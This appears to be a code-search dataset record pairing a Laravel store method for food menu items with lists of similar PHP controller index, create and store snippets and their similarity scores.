"public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }",
"public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }",
"public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }",
"public function indexAction() {\n $this->_forward('list');\n }",
"public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }",
"public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }",
"public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}",
"public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }",
"public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }",
"public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }",
"public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }",
"public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }",
"public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}",
"public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }",
"public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }",
"public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }",
"public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}",
"public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }",
"public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }",
"public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }",
"public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }",
"public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }",
"public function index()\n {\n return view('admin.resources.index');\n }",
"public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}"
]
| [
"0.7446777",
"0.736227",
"0.73005503",
"0.72478926",
"0.71631265",
"0.71489686",
"0.7131636",
"0.7105969",
"0.71029514",
"0.7101372",
"0.70508176",
"0.6995128",
"0.69890636",
"0.6934895",
"0.6900203",
"0.6899281",
"0.6891734",
"0.6887235",
"0.68670005",
"0.6849741",
"0.6830523",
"0.6802689",
"0.6797",
"0.67957735",
"0.67871135",
"0.6760129",
"0.67427456",
"0.6730486",
"0.67272323",
"0.67255723",
"0.67255723",
"0.67255723",
"0.67177945",
"0.6707866",
"0.6706713",
"0.6704375",
"0.6664782",
"0.6662871",
"0.6660302",
"0.6659404",
"0.6656656",
"0.6653517",
"0.6647965",
"0.6620322",
"0.66185474",
"0.6618499",
"0.6606105",
"0.6600617",
"0.65996987",
"0.6594775",
"0.6587389",
"0.6585109",
"0.6581641",
"0.6581017",
"0.6577157",
"0.65747666",
"0.6572513",
"0.65721947",
"0.6570553",
"0.65646994",
"0.6563556",
"0.6554194",
"0.65529937",
"0.65460825",
"0.65368485",
"0.653429",
"0.65328294",
"0.6526759",
"0.6526695",
"0.6526284",
"0.65191334",
"0.65183175",
"0.65174305",
"0.651703",
"0.65141153",
"0.6507088",
"0.65061647",
"0.6504046",
"0.64942145",
"0.6491893",
"0.64883405",
"0.6486392",
"0.6485077",
"0.64846045",
"0.6478858",
"0.64756656",
"0.64726377",
"0.6471126",
"0.64701074",
"0.6467418",
"0.6462195",
"0.64618355",
"0.6459199",
"0.6457831",
"0.6454631",
"0.64533997",
"0.6451915",
"0.6450861",
"0.6449301",
"0.64492667",
"0.64469045"
]
| 0.0 | -1 |
Show the form for creating a new resource. | public function create()
{
//
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function create()\n {\n return $this->showForm('create');\n }",
"public function create()\n {\n return $this->showForm('create');\n }",
"public function create()\n {\n return view('admin.resources.create');\n }",
"public function create(){\n\n return view('resource.create');\n }",
"public function create()\n\t{\n\t\treturn $this->showForm('create');\n\t}",
"public function create()\n {\n return \"Display a form for creating a new catalogue\";\n }",
"public function newAction()\n {\n $entity = new Resource();\n $current = $this->get('security.context')->getToken()->getUser();\n $entity->setMember($current);\n $form = $this->createCreateForm($entity);\n\n return array(\n 'nav_active'=>'admin_resource',\n 'entity' => $entity,\n 'form' => $form->createView(),\n );\n }",
"public function create()\n {\n return view ('forms.create');\n }",
"public function create ()\n {\n return view('forms.create');\n }",
"public function create()\n\t{\n\t\treturn view('faith.form');\n\t}",
"public function create(NebulaResource $resource): View\n {\n $this->authorize('create', $resource->model());\n\n return view('nebula::resources.create', [\n 'resource' => $resource,\n ]);\n }",
"public function create()\n {\n return view(\"request_form.form\");\n }",
"public function create()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.create\")) {\n $view = \"admin.{$this->name}.create\";\n } else {\n $view = 'admin.includes.actions.create';\n }\n\n /* Show the form for creating a new resource. */\n return view($view)\n ->with('name', $this->name);\n }",
"public function newAction()\n\t{\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => 'Ajouter une nouvelle école'\n\t\t) ) );\n\t}",
"public function create()\n {\n return view($this->forms . '.create');\n }",
"public function create()\n {\n return view('restful.add');\n }",
"public function create()\n {\n $resource = (new AclResource())->AclResource;\n\n //dd($resource);\n return view('Admin.acl.role.form', [\n 'resource' => $resource\n ]);\n }",
"public function create()\n {\n return view('admin.createform');\n }",
"public function create()\n {\n return view('admin.forms.create');\n }",
"public function create()\n {\n return view('backend.student.form');\n }",
"public function newAction()\n {\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Nuevo');\n\n $entity = $this->getManager()->create();\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }",
"public function create()\n {\n return view('client.form');\n }",
"public function create()\n {\n // Nos regresa la vista del formulario\n return view('project.form');\n }",
"public function create()\n {\n return view('Form');\n }",
"public function newAction(){\n \n $entity = new Resourceperson();\n $form = $this->createAddForm($entity);\n\n \n return $this->render('ABCRspBundle:rsp:add.html.twig',array('entity'=>$entity,'form'=> $form->createView()));\n }",
"public function createForm()\n\t{\n\t\treturn view('post.new');\n\t}",
"public function create()\n {\n return view('admin.form.create', ['form' => new Form]);\n }",
"public function create()\n {\n return view('form');\n }",
"public function create()\n {\n return view('form');\n }",
"public function create()\n {\n return view('form');\n }",
"public function create()\n {\n $title = $this->title;\n $subtitle = \"Adicionar cliente\";\n\n return view('admin.clients.form', compact('title', 'subtitle'));\n }",
"public function create()\n {\n return view('backend.schoolboard.addform');\n }",
"public function create()\n\t{\n\t\treturn view('info.forms.createInfo');\n\t}",
"public function create()\n {\n //\n return view('form');\n }",
"public function create()\n {\n return view('rests.create');\n }",
"public function create()\n {\n return $this->showForm();\n }",
"public function create()\n {\n return $this->showForm();\n }",
"public function create()\n {\n return view(\"Add\");\n }",
"public function create(){\n return view('form.create');\n }",
"public function create()\n {\n // Show the page\n return view('admin.producer.create_edit');\n }",
"public function create()\n {\n\n return view('control panel.student.add');\n\n }",
"public function newAction() {\n\t\t\n\t\t$this->view->form = $this->getForm ( \"/admin/invoices/process\" );\n\t\t$this->view->title = $this->translator->translate(\"New Invoice\");\n\t\t$this->view->description = $this->translator->translate(\"Create a new invoice using this form.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"#\", \"label\" => $this->translator->translate('Save'), \"params\" => array('css' => null,'id' => 'submit')),\r\n\t\t\t\t\t\t\t array(\"url\" => \"/admin/invoices/list\", \"label\" => $this->translator->translate('List'), \"params\" => array('css' => null)));\n\t\t$this->render ( 'applicantform' );\n\t}",
"public function create()\n {\n $data['action'] = 'pengiriman.store';\n return view('pengiriman.form', $data);\n }",
"public function create()\n {\n return $this->cView(\"form\");\n }",
"public function newAction()\n {\n // Création de l'entité et du formulaire.\n $client = new Client();\n $formulaire = $this->createForm(new ClientType(), $client);\n \n \n \n // Génération de la vue.\n return $this->render('KemistraMainBundle:Client:new.html.twig',\n array('formulaire' => $formulaire->createView()));\n }",
"public function create()\n {\n return view(\"dresses.form\");\n }",
"public function create()\n\t{\n\t\treturn View::make('new_entry');\n\t}",
"public function createAction()\n {\n// $this->view->form = $form;\n }",
"public function create()\n {\n return view('bank_account.form', ['mode' => 'create']);\n }",
"public function create()\n {\n return view('fish.form');\n }",
"public function create()\n {\n return view('users.forms.create');\n }",
"public function create()\n {\n $this->setFormFields($this->getCreateFormFields());\n $form = $this->getCreateForm();\n\n return view($this->getViewName('create'), [\n 'crudSlug' => $this->slug,\n 'form' => $form,\n ]);\n }",
"public function create()\n\t{\n\t\treturn view('admin.estadoflete.new');\n\t}",
"public function create()\n {\n $person = new Person;\n return view('contents.personform')->with(compact('person') );\n }",
"public function createAction(){\n \t$this->view->placeholder('title')->set('Create');\n \t$this->_forward('form');\n }",
"public function create()\n {\n Gate::authorize('app.products.create');\n\n return view('backend.products.form');\n }",
"public function create()\n {\n return view('essentials::create');\n }",
"public function create()\n {\n return view('student.add');\n }",
"public function create()\n\t{\n\t\treturn view('loisier/create');\n\t}",
"public function create()\n {\n return view('url.form');\n }",
"public function newAction()\n {\n $entity = new Facture();\n $factureType = new FactureType();\n\t\t$factureType->setUser($this->get('security.context')->getToken()->getUser());\n $form = $this->createForm($factureType, $entity);\n\n return $this->render('chevPensionBundle:Facture:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function newAction()\n {\n $entity = new Chofer();\n $form = $this->createForm(new ChoferType(), $entity, ['user' => $this->getUser()]);\n\n return $this->render('ChoferesBundle:Chofer:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'css_active' => 'chofer',\n ));\n }",
"public function create()\n\t{\n\t\treturn View::make('crebos.create');\n\t}",
"public function create() : View\n {\n $fieldset = $this->menuFieldset();\n\n return $this->view('create', [\n 'title' => trans('addons.Aardwolf::titles.create'),\n 'data' => [],\n 'fieldset' => $fieldset->toPublishArray(),\n 'suggestions' => [],\n 'submitUrl' => route('aardwolf.postCreate')\n ]);\n }",
"public function create()\n {\n return view('libro.create');\n }",
"public function create()\n {\n return view('libro.create');\n }",
"public function newAction()\n {\n $entity = new Species();\n $form = $this->createForm(new SpeciesType(), $entity);\n\n return $this->render('InfectBackendBundle:Species:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n return view('crud/add'); }",
"public function create()\n\t{\n\t\treturn View::make('supplier.create');\n\t}",
"public function newAction()\n {\n $entity = new Company();\n $form = $this->createForm(new CompanyType(), $entity);\n\n return $this->render('SiteSavalizeBundle:Company:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n return view(\"List.form\");\n }",
"public function index_onCreateForm()\n\t{\n\t\tparent::create();\n\t\treturn $this->makePartial('create');\n\t}",
"public function create()\n {\n //load create form\n return view('products.create');\n }",
"public function create()\n {\n return view('article.addform');\n }",
"public function create()\n {\n // Mengarahkan ke halaman form\n return view('buku.form');\n }",
"public function create()\n\t{\n\t\t// load the create form (app/views/material/create.blade.php)\n\t\t$this->layout->content = View::make('material.create');\n\t}",
"public function create()\n {\n return view('saldo.form');\n }",
"public function create()\n\t\t{\n\t\t\treturn view('kuesioner.create');\n\t\t}",
"public function view_create_questioner_form() {\n \t// show all questioner\n \t// send questioner to form\n \treturn view(\"create_questioner\");\n }",
"public function newAction() {\n $entity = new Question();\n $form = $this->createCreateForm($entity);\n\n return $this->render('CdlrcodeBundle:Question:new.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n ));\n }",
"public function create()\n {\n $data['companies'] = Company::select('id', 'name')->where('status', 1)->orderBy('id', 'desc')->get();\n return view('admin.outlet.outlet_form', $data);\n }",
"public function create()\n {\n return view('admin.inverty.add');\n }",
"public function create()\n {\n return view('Libro.create');\n }",
"public function create()\n {\n $title = trans('entry_mode.new');\n return view('layouts.create', compact('title'));\n }",
"public function create()\n {\n $breadcrumb='car.create';\n return view('admin.partials.cars.form', compact('breadcrumb'));\n }",
"public function create()\n {\n return view(\"familiasPrograma.create\");\n }",
"public function create()\n {\n return view('admin.car.create');\n }",
"public function create()\n {\n return view('admin.car.create');\n }",
"public function create()\n\t{\n\t\treturn View::make('perusahaans.create');\n\t}",
"public function create()\n {\n return view(\"create\");\n }",
"public function create()\n\t{\n //echo 'show form';\n\t\treturn View::make('gaans.create');\n\t}",
"public function create()\n {\n $title = trans('dormitorybed.new');\n $this->generateParams();\n\n return view('layouts.create', compact('title'));\n }",
"public function create()\n {\n return view('forming');\n }",
"public function formNew() {\n $this->data->options = array(\n 'RJ' => 'Rio de Janeiro',\n 'MG' => 'Minas Gerais',\n 'SP' => 'São Paulo',\n 'ES' => 'Espírito Santo',\n 'BA' => 'Bahia',\n 'RS' => 'Rio Grande do Sul'\n );\n $this->data->action = \"@exemplos/pessoa/save\";\n $this->render();\n }",
"public function create()\n {\n \t\n \treturn view('supplies.create');\n\n }",
"public function createAction()\n {\n if ($form = $this->processForm()) {\n $this->setPageTitle(sprintf($this->_('New %s...'), $this->getTopic()));\n $this->html[] = $form;\n }\n }",
"public function create()\n {\n $page_title = \"Add New\";\n return view($this->path.'create', compact('page_title'));\n }",
"public function create()\n {\n // not sure what to do with the form since im\n // using ame partial for both create and edit\n return view('plants.create')->with('plant', new Plant);\n }",
"public function create() {\n\t\t$title = 'Create | Show';\n\n\t\treturn view('admin.show.create', compact('title'));\n\t}",
"public function create()\n {\n return view('student::students.student.create');\n }",
"public function newAction(){\n\t\t$entity = new Reserva();\n\t\t$form = $this->createCreateForm($entity);\n\n\t\treturn $this->render('LIHotelBundle:Reserva:new.html.twig', array(\n\t\t\t'entity' => $entity,\n\t\t\t'form' => $form->createView(),\n\t\t));\n\t}"
]
| [
"0.75948673",
"0.75948673",
"0.75863165",
"0.7577412",
"0.75727344",
"0.7500887",
"0.7434847",
"0.7433956",
"0.73892003",
"0.73531085",
"0.73364776",
"0.73125",
"0.7296102",
"0.7281891",
"0.72741455",
"0.72424185",
"0.7229325",
"0.7226713",
"0.7187349",
"0.7179176",
"0.7174283",
"0.7150356",
"0.71444064",
"0.71442676",
"0.713498",
"0.71283126",
"0.7123691",
"0.71158516",
"0.71158516",
"0.71158516",
"0.7112176",
"0.7094388",
"0.7085711",
"0.708025",
"0.70800644",
"0.70571953",
"0.70571953",
"0.70556754",
"0.70396435",
"0.7039549",
"0.7036275",
"0.703468",
"0.70305896",
"0.7027638",
"0.70265305",
"0.70199823",
"0.7018007",
"0.7004984",
"0.7003889",
"0.7000935",
"0.69973785",
"0.6994679",
"0.6993764",
"0.6989918",
"0.6986989",
"0.6966502",
"0.69656384",
"0.69564354",
"0.69518244",
"0.6951109",
"0.6947306",
"0.69444615",
"0.69423944",
"0.6941156",
"0.6937871",
"0.6937871",
"0.6936686",
"0.69345254",
"0.69318026",
"0.692827",
"0.69263744",
"0.69242257",
"0.6918349",
"0.6915889",
"0.6912884",
"0.691146",
"0.69103104",
"0.69085974",
"0.69040126",
"0.69014287",
"0.69012105",
"0.6900397",
"0.68951064",
"0.6893521",
"0.68932164",
"0.6891899",
"0.6891616",
"0.6891616",
"0.6889246",
"0.68880934",
"0.6887128",
"0.6884732",
"0.68822503",
"0.68809193",
"0.6875949",
"0.68739206",
"0.68739134",
"0.6870358",
"0.6869779",
"0.68696856",
"0.686877"
]
| 0.0 | -1 |
Store a newly created resource in storage. | public function store(Request $request)
{
$this->validate($request, array(
'menu_name'=>'required',
'menu_price'=>'required',
'rest_name'=>'required',
));
$upcoming = new Upcomingfood;
$upcoming->menu_name=$request->menu_name;
$upcoming->menu_price=$request->menu_price;
$upcoming->rest_id=$request->rest_name;
$upcoming->save();
Session::flash('success','Food Menu Added Successfullly');
return back()->withInput();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function store($data, Resource $resource);",
"public function store()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'storeValidations')) {\n $this->request->validate($this->storeValidations());\n }\n\n /* Create a new resource */\n $resource = $this->model::create(Input::all());\n\n /* Redirect to newly created resource page */\n return redirect()\n ->route($this->name . '.edit', $resource->id)\n ->with(\n 'success',\n Lang::has($this->name . '.resource-created') ?\n $this->name . '.resource-created' :\n 'messages.alert.resource-created'\n );\n }",
"public function store(CreateStorageRequest $request)\n {\n $this->storage->create($request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource created', ['name' => trans('product::storages.title.storages')]));\n }",
"public function createStorage();",
"public function store(StoreStorage $request)\n {\n $storage = Storage::create($request->all());\n $request->session()->flash('alert-success', 'Запись успешно добавлена!');\n return redirect()->route('storage.index');\n }",
"public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }",
"public function store(Request $request, NebulaResource $resource): RedirectResponse\n {\n $this->authorize('create', $resource->model());\n\n $validated = $request->validate($resource->rules(\n $resource->createFields()\n ));\n\n $resource->storeQuery($resource->model(), $validated);\n\n $this->toast(__(':Resource created', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }",
"function storeAndNew() {\n $this->store();\n }",
"public function store(Request $request)\n {\n $currentUser = JWTAuth::parseToken()->authenticate();\n $validator = Validator::make($request->all(), [\n 'content' => 'required|string',\n 'image_link' => 'sometimes|url',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), [], 400);\n }\n\n $resource = new Resource;\n $resource->user_id = $currentUser['id'];\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->image_link = $request->get('imageLink');\n $resource->video_link = $request->get('videoLink');\n $resource->file_link = $request->get('fileLink');\n $resource->audio_link = $request->get('audioLink');\n $resource->tags = collect($request->get('tags'))->implode('text', ',');\n $resource->is_public = 0;\n $resource->save();\n $data['resource'] = $resource;\n\n if ($request->get('programId')) {\n $this->addToProgram($resource, $request->programId);\n // event(new NewLearningPathResourcePublished($resource, $invitee));\n }\n\n User::find($currentUser['id'])->increment('points', 2);\n\n return APIHandler::response(1, \"New resource has been created\", $data, 201);\n }",
"public function store()\n {\n if (!$this->id) { // Insert\n $this->insertObject();\n } else { // Update\n $this->updateObject();\n }\n }",
"public function store()\n\t{\n\t\t\n\t\t//\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\r\n\t{\r\n\t\t//\r\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}",
"public function store()\n\t{\n\t\t//\n\t}"
]
| [
"0.72865677",
"0.7145327",
"0.71325725",
"0.6640912",
"0.66209733",
"0.65685713",
"0.652643",
"0.65095705",
"0.64490104",
"0.637569",
"0.63736665",
"0.63657933",
"0.63657933",
"0.63657933",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
"0.6342437",
